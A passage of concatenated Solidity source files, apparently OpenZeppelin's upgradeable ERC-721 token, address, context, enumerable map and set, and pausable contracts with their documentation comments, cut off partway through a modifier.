{IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721Upgradeable.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require(_msgSender() == owner || ERC721Upgradeable.isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { require(operator != _msgSender(), "ERC721: approve to caller"); _operatorApprovals[_msgSender()][operator] = approved; emit ApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom(address from, address to, uint256 tokenId) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory _data) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer(address from, address to, uint256 tokenId, bytes memory _data) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _tokenOwners.contains(tokenId); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721Upgradeable.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || ERC721Upgradeable.isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: d* * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint(address to, uint256 tokenId, bytes memory _data) internal virtual { _mint(to, tokenId); require(_checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721Upgradeable.ownerOf(tokenId); // internal owner _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); // Clear metadata (if any) if (bytes(_tokenURIs[tokenId]).length != 0) { delete _tokenURIs[tokenId]; } _holderTokens[owner].remove(tokenId); _tokenOwners.remove(tokenId); emit Transfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer(address from, address to, uint256 tokenId) internal virtual { require(ERC721Upgradeable.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own"); // internal owner require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _holderTokens[from].remove(tokenId); _holderTokens[to].add(tokenId); _tokenOwners.set(tokenId, to); emit Transfer(from, to, tokenId); } /** * @dev Sets `_tokenURI` as the tokenURI of `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _setTokenURI(uint256 tokenId, string memory _tokenURI) internal virtual { require(_exists(tokenId), "ERC721Metadata: URI set of nonexistent token"); _tokenURIs[tokenId] = _tokenURI; } /** * @dev Internal function to set the base URI for all token IDs. It is * automatically added as a prefix to the value returned in {tokenURI}, * or to the token ID if {tokenURI} is empty. */ function _setBaseURI(string memory baseURI_) internal virtual { _baseURI = baseURI_; } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received(address from, address to, uint256 tokenId, bytes memory _data) private returns (bool) { if (!to.isContract()) { return true; } bytes memory returndata = to.functionCall(abi.encodeWithSelector( IERC721ReceiverUpgradeable(to).onERC721Received.selector, _msgSender(), from, tokenId, _data ), "ERC721: transfer to non ERC721Receiver implementer"); bytes4 retval = abi.decode(returndata, (bytes4)); return (retval == _ERC721_RECEIVED); } function _approve(address to, uint256 tokenId) private { _tokenApprovals[tokenId] = to; emit Approval(ERC721Upgradeable.ownerOf(tokenId), to, tokenId); // internal owner } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual { } uint256[41] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional enumeration extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721EnumerableUpgradeable is IERC721Upgradeable { /** * @dev Returns the total amount of tokens stored by the contract. */ function totalSupply() external view returns (uint256); /** * @dev Returns a token ID owned by `owner` at a given `index` of its token list. * Use along with {balanceOf} to enumerate all of ``owner``'s tokens. */ function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId); /** * @dev Returns a token ID at a given `index` of all the tokens stored by the contract. * Use along with {totalSupply} to enumerate all tokens. */ function tokenByIndex(uint256 index) external view returns (uint256); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "./IERC721Upgradeable.sol"; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721MetadataUpgradeable is IERC721Upgradeable { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721ReceiverUpgradeable { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external returns (bytes4); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; import "../../introspection/IERC165Upgradeable.sol"; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721Upgradeable is IERC165Upgradeable { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom(address from, address to, uint256 tokenId) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom(address from, address to, uint256 tokenId, bytes calldata data) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.2 <0.8.0; /** * @dev Collection of functions related to the address type */ library AddressUpgradeable { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../proxy/Initializable.sol"; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract ContextUpgradeable is Initializable { function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing an enumerable variant of Solidity's * https://solidity.readthedocs.io/en/latest/types.html#mapping-types[`mapping`] * type. * * Maps have the following properties: * * - Entries are added, removed, and checked for existence in constant time * (O(1)). * - Entries are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableMap for EnumerableMap.UintToAddressMap; * * // Declare a set state variable * EnumerableMap.UintToAddressMap private myMap; * } * ``` * * As of v3.0.0, only maps of type `uint256 -> address` (`UintToAddressMap`) are * supported. */ library EnumerableMapUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Map type with // bytes32 keys and values. // The Map implementation uses private functions, and user-facing // implementations (such as Uint256ToAddressMap) are just wrappers around // the underlying Map. // This means that we can only create new EnumerableMaps for types that fit // in bytes32. struct MapEntry { bytes32 _key; bytes32 _value; } struct Map { // Storage of map keys and values MapEntry[] _entries; // Position of the entry defined by a key in the `entries` array, plus 1 // because index 0 means a key is not in the map. mapping (bytes32 => uint256) _indexes; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function _set(Map storage map, bytes32 key, bytes32 value) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) { // Equivalent to !contains(map, key) map._entries.push(MapEntry({ _key: key, _value: value })); // The entry is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value map._indexes[key] = map._entries.length; return true; } else { map._entries[keyIndex - 1]._value = value; return false; } } /** * @dev Removes a key-value pair from a map. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function _remove(Map storage map, bytes32 key) private returns (bool) { // We read and store the key's index to prevent multiple reads from the same storage slot uint256 keyIndex = map._indexes[key]; if (keyIndex != 0) { // Equivalent to contains(map, key) // To delete a key-value pair from the _entries array in O(1), we swap the entry to delete with the last one // in the array, and then remove the last entry (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = keyIndex - 1; uint256 lastIndex = map._entries.length - 1; // When the entry to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. MapEntry storage lastEntry = map._entries[lastIndex]; // Move the last entry to the index where the entry to delete is map._entries[toDeleteIndex] = lastEntry; // Update the index for the moved entry map._indexes[lastEntry._key] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved entry was stored map._entries.pop(); // Delete the index for the deleted slot delete map._indexes[key]; return true; } else { return false; } } /** * @dev Returns true if the key is in the map. O(1). */ function _contains(Map storage map, bytes32 key) private view returns (bool) { return map._indexes[key] != 0; } /** * @dev Returns the number of key-value pairs in the map. O(1). */ function _length(Map storage map) private view returns (uint256) { return map._entries.length; } /** * @dev Returns the key-value pair stored at position `index` in the map. O(1). * * Note that there are no guarantees on the ordering of entries inside the * array, and it may change when more entries are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Map storage map, uint256 index) private view returns (bytes32, bytes32) { require(map._entries.length > index, "EnumerableMap: index out of bounds"); MapEntry storage entry = map._entries[index]; return (entry._key, entry._value); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. */ function _tryGet(Map storage map, bytes32 key) private view returns (bool, bytes32) { uint256 keyIndex = map._indexes[key]; if (keyIndex == 0) return (false, 0); // Equivalent to contains(map, key) return (true, map._entries[keyIndex - 1]._value); // All indexes are 1-based } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function _get(Map storage map, bytes32 key) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, "EnumerableMap: nonexistent key"); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } /** * @dev Same as {_get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {_tryGet}. */ function _get(Map storage map, bytes32 key, string memory errorMessage) private view returns (bytes32) { uint256 keyIndex = map._indexes[key]; require(keyIndex != 0, errorMessage); // Equivalent to contains(map, key) return map._entries[keyIndex - 1]._value; // All indexes are 1-based } // UintToAddressMap struct UintToAddressMap { Map _inner; } /** * @dev Adds a key-value pair to a map, or updates the value for an existing * key. O(1). * * Returns true if the key was added to the map, that is if it was not * already present. */ function set(UintToAddressMap storage map, uint256 key, address value) internal returns (bool) { return _set(map._inner, bytes32(key), bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the key was removed from the map, that is if it was present. */ function remove(UintToAddressMap storage map, uint256 key) internal returns (bool) { return _remove(map._inner, bytes32(key)); } /** * @dev Returns true if the key is in the map. O(1). */ function contains(UintToAddressMap storage map, uint256 key) internal view returns (bool) { return _contains(map._inner, bytes32(key)); } /** * @dev Returns the number of elements in the map. O(1). */ function length(UintToAddressMap storage map) internal view returns (uint256) { return _length(map._inner); } /** * @dev Returns the element stored at position `index` in the set. O(1). * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintToAddressMap storage map, uint256 index) internal view returns (uint256, address) { (bytes32 key, bytes32 value) = _at(map._inner, index); return (uint256(key), address(uint160(uint256(value)))); } /** * @dev Tries to returns the value associated with `key`. O(1). * Does not revert if `key` is not in the map. * * _Available since v3.4._ */ function tryGet(UintToAddressMap storage map, uint256 key) internal view returns (bool, address) { (bool success, bytes32 value) = _tryGet(map._inner, bytes32(key)); return (success, address(uint160(uint256(value)))); } /** * @dev Returns the value associated with `key`. O(1). * * Requirements: * * - `key` must be in the map. */ function get(UintToAddressMap storage map, uint256 key) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key))))); } /** * @dev Same as {get}, with a custom error message when `key` is not in the map. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryGet}. */ function get(UintToAddressMap storage map, uint256 key, string memory errorMessage) internal view returns (address) { return address(uint160(uint256(_get(map._inner, bytes32(key), errorMessage)))); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSetUpgradeable { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "./ContextUpgradeable.sol"; import "../proxy/Initializable.sol"; /** * @dev Contract module which allows children to implement an emergency stop * mechanism that can be triggered by an authorized account. * * This module is used through inheritance. It will make available the * modifiers `whenNotPaused` and `whenPaused`, which can be applied to * the functions of your contract. Note that they will not be pausable by * simply including this module, only once the modifiers are put in place. */ abstract contract PausableUpgradeable is Initializable, ContextUpgradeable { /** * @dev Emitted when the pause is triggered by `account`. */ event Paused(address account); /** * @dev Emitted when the pause is lifted by `account`. */ event Unpaused(address account); bool private _paused; /** * @dev Initializes the contract in unpaused state. */ function __Pausable_init() internal initializer { __Context_init_unchained(); __Pausable_init_unchained(); } function __Pausable_init_unchained() internal initializer { _paused = false; } /** * @dev Returns true if the contract is paused, and false otherwise. */ function paused() public view virtual returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. * * Requirements: * * - The contract must not be paused. */ modifier 